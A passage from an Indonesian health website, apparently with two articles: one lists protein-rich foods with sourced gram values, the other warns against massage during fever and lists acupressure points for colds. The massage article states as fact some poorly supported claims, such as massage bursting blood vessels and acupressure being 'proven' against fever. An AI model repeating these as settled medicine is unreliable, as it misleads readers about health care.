Jenis protein yang paling mudah ditemui adalah protein hewani. Berdasarkan namanya maka Anda pun pasti bisa segera mengetahui bahwa protein hewani adalah jenis protein yang berasal dari hewan.

Baca Juga: 11 Manfaat Telur Asin yang Jarang Diketahui

Jadi, jika makanan mengandung protein tertentu berasal dari hewani maka makanan tersebut termasuk ke dalam makanan protein hewani. Protein hewani memang memiliki mutu protein yang lebih baik. Namun, ada kekurangan dari protein hewani.

Kekurangan protein hewani adalah biasanya mengandung kolesterol yang cukup tinggi walaupun ada juga makanan yang termasuk protein hewani memiliki sedikit kandungan kolesterol. Jadi, Anda perlu membatasi jumlah asupan makanan yang mengandung protein hewani.

2. Protein Nabati

Jenis protein yang kedua, yaitu protein nabati. Sudah pasti, protein nabati adalah jenis protein yang berasal dari tumbuh-tumbuhan. Meskipun memiliki mutu protein yang lebih rendah, makanan mengandung protein nabati memiliki keunggulan tersendiri.

Keunggulan dari makanan yang mengandung protein nabati adalah mengandung lemak tidak jenuh yang lebih banyak daripada yang ada di dalam makanan dari protein hewani. Selain itu, protein nabati juga mengandung isoflavon, antioksidan, dan antikolesterol.

Oleh karena itu, jangan hanya mengonsumsi makanan yang mengandung protein hewani saja atau protein nabati saja. Akan tetapi, konsumsilah kedua jenis protein sehingga Anda pun bisa mendapatkan keunggulan dari masing-masing jenis protein.

Kebutuhan Asupan Protein Seseorang

Dalam sehari, Anda membutuhkan asupan makanan mengandung protein hewani sebanyak 2-4 porsi atau setara dengan 70-160 gram daging-dagingan. Di samping itu, Anda juga perlu mengonsumsi makanan yang mengandung protein nabati yaitu sebesar 2-4 porsi.

Porsi protein nabati tersebut setara dengan 100-200 gram tempe atahu 200-400 gram tahu. Jika Anda ingin mengetahui lebih jauh maka angka kecukupan protein ini bisa dilihat sesuai dengan karateristik usia, jenis kelamin, dan fisiologis masing-masing.

Hal ini dikarenakan perbedaan jenis kelamin, usia, dan kondisi fisiologis seperti sedang hamil bisa memengaruhi jumlah kecukupan protein dalam sehari. Ini penting diketahui agar Anda dapat mencukupkan kebutuhan protein harian Anda.

Apa Saja Makanan yang Mengandung Protein Tinggi?

Telah disebutkan sebelumnya bahwa ada banyak makanan mengandung protein. Makanan-makanan yang mengandung protein ini mudah ditemui setiap hari. Yuk, simak apa saja makanan yang mengandung protein!

Berikut ini adalah beberapa contoh makanan yang mengandung protein:

1. Telur

Telur adalah makanan mengandung protein yang telah diketahui oleh banyak orang. Di samping itu, telur juga mudah didapatkan dan memiliki harga yang sangat terjangkau. Berdasarkan sumbernya, sudah jelas bila telur termasuk ke dalam protein hewani.

Baca Juga: 5 Resep Omelet untuk Penuhi Kebutuhan Protein Harian

Kandungan protein yang ada di dalam telur tidaklah sama dan tergantung pada jenis telur. Sebagai contoh, di dalam satu butir telur ayam (90 g) mengandung protein sebanyak 12,8 gram, sedangkan satu butir telur bebek (90 g) mengandung protein sebesar 13,1 gram.

Bagian putih telur dan kuning telur juga memiliki kandungan protein yang berbeda. Kuning telur mengandung protein lebih banyak. Kuning telur ayam mengandung 16,3 gram protein sedangkan putihnya mengandung 10,8 gram protein.

Meskipun bagian kuning mengandung protein lebih banyak, janganlah lupa bila bagian kuning telur juga mengandung kolesterol yang banyak. Mungkin Anda akan tercengang bila mengetahui kandungan protein telur ikan per 100 gram, yaitu 16,7 gram.

2. Susu

Selain telur, makanan mengandung protein yang mudah ditemukan adalah susu. Susu mengandung protein cukup besar. Kandungan protein susu berbeda tergantung jenis susunya. Susu kedelai (protein nabati) mengandung protein sebanyak 3,5 gram per 100 gram.

Susu yang dihasilkan dari hewani mengandung protein hewani dan cenderung mengandung protein yang lebih besar dalam 100 gram, yaitu seperti pada susu kambing (4,3 gram) dan susu kerbau (6,3 gram). Susu sapi mengandung protein yang lebih sedikit daripada susu kedelai, yaitu 3,2 gram.

3. Yogurt

Ada juga makanan yang mengandung protein yang juga mudah ditemukan. Yogurt adalah makanan yang mengandung protein dan cukup mudah ditemukan. Kandungan protein yang ada di dalam 100 gram yogurt adalah sebanyak 3,3 gram.

4. Daging Unggas

Daging-dagingan termasuk daging unggas tentunya juga termasuk ke dalam makanan yang mengandung protein. Dalam 100 gram, daging ayam mengandung protein sebanyak 18,2 gram, daging bebek mengandung protein sebesar 16 gram, dan daging burung puyuh mengandung protein sebesar 25,6 gram.

Baca Juga: 5 Variasi Resep Ayam Fillet yang Sehat dan Enak

5. Daging Ruminansia

Tak hanya daging unggas, daging ruminansia atau daging dari hewan pemakan rumput juga mengandung protein. Daging sapi dan daging kerbau memiliki kandungan protein yang hampir sama yaitu 18,8 gram. Daging kambing mengandung protein sebesar 16,6 gram dan protein daging domba sebanyak 17,1 gram.

6. Ikan Basah

Ikan basah merupakan makanan yang mengandung protein cukup banyak. Para ahli kesehatan banyak merekomendasikan untuk mengonsumsi ikan basah karena ikan basah memiliki mutu protein dan asam amino yang baik.

Sebagai contoh, dalam 100 gram, kandungan protein pada ikan bandeng sebesar 20 gram, ikan bawal 19 gram, ikan belida 16,5 gram, ikan mas 16 gram, ikan mujair 18 gram, ikan kakap 20 gram, ikan selar kuning 27 gram, dan ikan gabus segar 25,2 gram.

7. Ikan Kering (Ikan Asin)

Tidak hanya ikan basah, masyarakat pun juga banyak mengonsumsi ikan kering atau ikan asin. Faktanya, kandungan protein per 100 gram di dalam ikan asin juga cukup banyak yaitu sebesar 42 gram. Kandungan protein pada ikan gabus kering per 100 gram meningkat dua kali lipat lebih dari gabus segar yaitu sebanyak 58 gram.

8. Seafood Basah

Seafood atau makanan laut yang disukai banyak orang juga merupakan makanan yang mengandung protein. Meskipun tidak semua jenisnya memiliki kandungan protein sebanyak ikan, kandungan protein pada seafood juga cukup tinggi.

Baca Juga: Inilah 7 Seafood yang Aman untuk Anak dan Manfaatnya

Seperti kandungan protein yang ada di dalam udang yaitu sebesar 21 gram per 100 gram. Cumi-cumi mengandung 16,1 gram protein, kepiting memiliki kandungan protein sebesar 13, 8 gram, dan kerang mengandung protein yang lebih sedikit yaitu 8 gram.

9. Hati

Hati juga sering disebut sebagai makanan yang mengandung protein. Kandungan protein pada hati sapi sebanyak 19,7 gram, hati ayam buras sebesar 18,3 gram, dan hati ayam ras sebesar 16,6 gram. Namun, ingatlah bahwa hati termasuk jeroan yang harus dibatasi konsumsinya.

10. Kacang-kacangan

Kacangan-kacangan termasuk ke dalam jenis protein nabati yang memiliki banyak jenis. Setiap jenis kacang memiliki kandungan protein yang berbeda-beda. Sebagai contoh, pada kacang kedelai mengandung protein sebanyak 40,4 gram di dalam 100 gram.

Produk turunan dari kacang kedelai yaitu tahu dan tempe juga merupakan makanan mengandung protein yang disukai banyak orang. Kandungan protein tempe dan tahu dalam 100 gram secara berurutan adalah 20,8 gram dan 7,8 gram.

Selain itu, ada beberapa jenis kacang-kacangan lain yang memiliki kandungan protein tinggi. Kandungan protein di dalam 100 gram pada kacang hijau adalah 22,2 gram, kacang tanah sebesar 27,9 gram, kacang merah 11 gram, kacang arab 23,8 gram, dan kacang tolo 24,4 gram.

Baca Juga: 12 Manfaat Kacang Hijau bagi Kesehatan Tubuh

11. Serealia

Ada satu lagi makanan mengandung protein yang mudah ditemukan dan malah merupakan makanan pokok sehari-hari. Makanan tersebut tergolong ke dalam jenis serealia seperti beras, jagung, havermout, kentang, ubi, dan singkong.

Walaupun merupakan makanan yang mengandung protein cukup sedikit, jenis lauk dari protein nabati ini cukup banyak dikonsumsi dan sering. Jadi, jangan juga mengabaikan nilai kandungan protein di dalamnya.

Beras pecah kulit atau beras merah memiliki kandungan protein sebesar 7,4 gram, jagung kuning mengandung 9,8 gram protein, havermout 14,2 gram, kentang 2 gram, ubi jalar merah 1,8 gram, dan singkong mengadung protein sebesar 1,2 gram.

 

Sumber:

1. Depkes: Pedoman Gizi Seimbang. 2014. http://gizi.depkes.go.id/download/Pedoman%20Gizi/PGS%20Full.pdf [diakses pada 3 Januari 2019]
2. UNY: DKBM Indonesia. http://staffnew.uny.ac.id/upload/132318122/pendidikan/DKBM-Indonesia.pdf [diakses pada 3 Januari 2019]

Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Artikel bisnis dan investasi

Read More

Pijat Saat Demam Berbahaya bagi Kesehatan! Benarkah?

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

DokterSehat.Com– Saat kita sedang terserang demam, tubuh memang akan terasa sangat tidak nyaman. Beberapa orang bahkan juga merasakan sensasi ngilu pada persendian sehingga meminta orang lain untuk memijat badannya. Sayangnya, menurut pakar kesehatan, pijat saat demam demam ternyata tidak boleh dilakukan sembarangan. Meski begitu, bolehkah pijat saat demam?

Sekilas Tentang Demam

Demam terjadi sebagai respons dari sistem imun tubuh pada infeksi atau peradangan yang terjadi pada tubuh. Infeksi atau peradangan ini bisa dipicu oleh virus atau bakteri yang masuk ke dalam tubuh. Hal ini akan membuat tubuh mengalami peningkatan suhu dengan signifikan sehingga cairan tubuh pun akan lebih cepat menguap dan membuat kita rentan terkena dehidrasi. Aliran darah juga akan cenderung meningkat.

Bahaya Pijat Saat Demam pada Tubuh

Tujuan dari memijat tubuh sebenarnya adalah memperlancar aliran darah sehingga kita bisa merasakan sensasi tubuh yang lebih membaik setelahnya. Hanya saja, efek ini hanya akan dirasakan jika tubuh berada dalam kondisi normal. Bila pijat saat demam tetap dilakukan, berikut ini risikonya:

1. Meningkatnya suhu tubuh

Jika pijat saat demam, maka aliran darah yang sebenarnya sudah sangat cepat akan terus meningkat sehingga bisa membuat suhu tubuh menjadi semakin tinggi. Yang menjadi masalah adalah, suhu tubuh yang terlalu panas bisa memicu kejang demam.

2. Menguras energi

Efek lain yang bisa didapatkan dari pijat saat demam adalah menguras energi di dalam tubuhnya. Peningkatan aliran darah dengan signifikan ternyata juga akan menghabiskan energi tubuh. Padahal, sistem kekebalan tubuh sangatlah membutuhkan energi untuk melawan berbagai infeksi atau peradangan.

3. Pembuluh darah pecah

Pijat saat demam juga dapat menyebabkan risiko pembuluh darah pecah. Sebagai contoh, penderita demam berdarah dengue (DBD) akan mengalami penurunan kadar trombosit dalam darah dengan signifikan dan memengaruhi kondisi pembuluh darahnya. Jika memijat saat demam, maka pembuluh darahnya bisa saja pecah dan akhirnya memicu pendarahan dalam yang sangat berbahaya.

4. Menularkan penyakit

Disarankan tidak mendapatkan pijat saat demam dan flu, karena bisa menularkan penyakit kepada seorang terapis atau orang yang memijat Anda. Sebaiknya tidak dipijat jika sedang mengalami demam.

5. Menyebabkan mual

Jika peka terhadap sentuhan dengan cara apa pun, hindari pijat saat demam yang justru akan merangsang kulit. Pijatan kuat dapat menggerakkan tubuh dengan kekuatan ringan, yang bisa meningkatkan perasaan mual, jadi jika sudah merasa mual pastikan untuk menghindari pijatan.

Manfaat Pijat Saat Pemulihan dari Sakit

Ketika sedang pada tahap pemulihan dari penyakit, manfaat pijat bisa didapatkan tubuh, berikut di antaranya:

1. Mencairkan dahak

Jika sering batuk, kemungkinan otot dada, punggung atas, dan leher menjadi kencang. Manfaat pijatan akan meredakan ketegangan di area ini dan juga dapat membantu memecah dahak yang terjebak dalam sistem pernapasan.

2. Meredakan sakit kepala

Perawatan tertentu, seperti refleksologi atau pijat refleksi juga dapat membantu meredakan sakit kepala atau tekanan sinus yang masih dapat Anda alami pada tahap pemulihan flu.

3. Membantu masalah kesehatan

Bila berfokus hanya pada tangan dan kaki, manfaat pijat refleksi pada titik-titik tertentu dalam tubuh akan benar-benar bekerja untuk membantu masalah kesehatan lainnya. Anda juga dapat meminta terapis Anda untuk menggunakan minyak esensial ketika mereka memijat, karena banyak minyak esensial yang memiliki sifat antivirus dan antibakteri.

Seperti pertanyaan yang telah disebutkan di atas, bolehkah pijat saat demam? Sebenarnya pijat saat kondisi badan tidak fit, entah itu baru muncul gejala atau sedang pada tahap pemulihan dari pilek dan flu, ternyata boleh dipijat pada titik tertentu seperti dilansir laman panduan memijat.

10 Titik Akupresur dan Refleksiologi Utama untuk Menghilangkan Pilek dan Flu 

Bila muncul gejala pilek dan flu, Anda bisa mendapatkan pijatan untuk mencegahnya. Seperti dilansir Best Massage Chair Guide, berikut ini beberapa titik yang dapat dipijat untuk menghilangkan gejala yang berhubungan dengan pilek dan flu:

1. Titik lekukan soket mata

Titik tekanan ini terletak di lekukan soket mata, yang merupakan titik di setiap sisi alis ke arah hidung. Beberapa pijatan pada dua titik ini, sedikit tekanan pada setiap sisi selama beberapa menit akan membantu meringankan beberapa gejala seperti hidung tersumbat, sakit kepala, demam, mata lelah dan banyak lagi.

2. Titik ujung tulang pipi

Titik tekanan efektif lainnya disebut sebagai titik facial beauty yang paling membantu meredakan hidung tersumbat. Titik-titik ini ada di ujung tulang pipimu tepat di bawah pupil. Manfaat pijat ringan pada titik-titik ini dapat menghilangkan gejala seperti hidung tersumbat atau mampet, kelelahan mata, sakit kepala, dan mata terasa terbakar/ panas.

3. Titik pertemuan alis

Titik di antara alis di mana mereka bertemu hidung adalah titik akupresur lain yang efektif untuk membantu mengatasi hidung tersumbat dan sakit kepala.

4. Tutuk samping lubang hidung

Titik ini terletak di pipi Anda tepat di samping lubang hidung. Beberapa penekanan ringan pada titik-titik ini akan membuat Anda merasa lega pada sinus, hidung tersumbat, bengkak, dan kaku di sekitar wajah.

5. Titik tengah belakang kepala

Titik ini terletak tepat di belakang tengah kepala yang juga merupakan pangkal tengkorak Anda. Sedikit menekan pada titik ini dapat mengurangi sakit kepala, sakit kepala, stres, mata lelah dan kekakuan di leher.

6. Titik tulang selangka

Titik ini terletak di bawah tulang selangka di ruang berongga dekat tulang dada Anda. Titik akupresur ini adalah area efektif lain yang secara langsung hidung tersumbat, sakit tenggorokan, masalah pernapasan, dan batuk.

7. Titik tengah belakang telinga

Titik ini terletak menuju punggungan tulang oksipital yang merupakan titik di tengah telinga dan sumsum tulang belakang ke arah belakang. Penekanan lembut pada titik-titik ini akan mengatasi pilek dan flu berulang.

8. Titik celah jempol dan ibu jari punggung tangan

Titik ini terletak di antara ibu jari dan telunjuk di belakang tangan. Manfaat pijatan lembut pada titik ini akan meredakan gejala yang berhubungan dengan flu. Selain itu juga akan membantu orang yang menderita sembelit, demam, dan nyeri pada siku. Wanita hamil harus menghindari titik terapi akupresur ini karena dapat memicu kontraksi prematur.

9. Titik lipatan siku

Lokasi titik refleksiologi berada di puncak lipatan siku yang sebenarnya merupakan tepi sambungan. Pijatan pada titik ini juga terbukti membantu mengatasi gejala demam dan pilek.

10. Titik di bawah ibu jari

Titik di bawah ibu jari di telapak tangan ke arah lipatan pergelangan tangan adalah titik efektif lain untk meningkatkan sirkulasi di paru-paru yang sangat bermanfaat untuk mengatasi dada sesak. Manfaat pijat lainnya dari titik ini adalah dapat membantu meredakan nyeri pergelangan kaki kronis.

_

Nah, mengetahui adanya fakta seperti yang dijelaskan di atas, ada baiknya Anda tidak sembarangan pijat saat demam. Jika kondisi badan terasa tidak baik, cobalah untuk berkonsultasi dengan dokter terlebih dahulu untuk mendapatkan solusi yang aman untuk untuk mengatasi demam.

Sebagai solusinya, pijatlah saat munculnya gejala atau pada tahap pemulihan pilek atau flu. Selamat mencoba, Teman Sehat!

Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Artikel bisnis dan investasi

Read More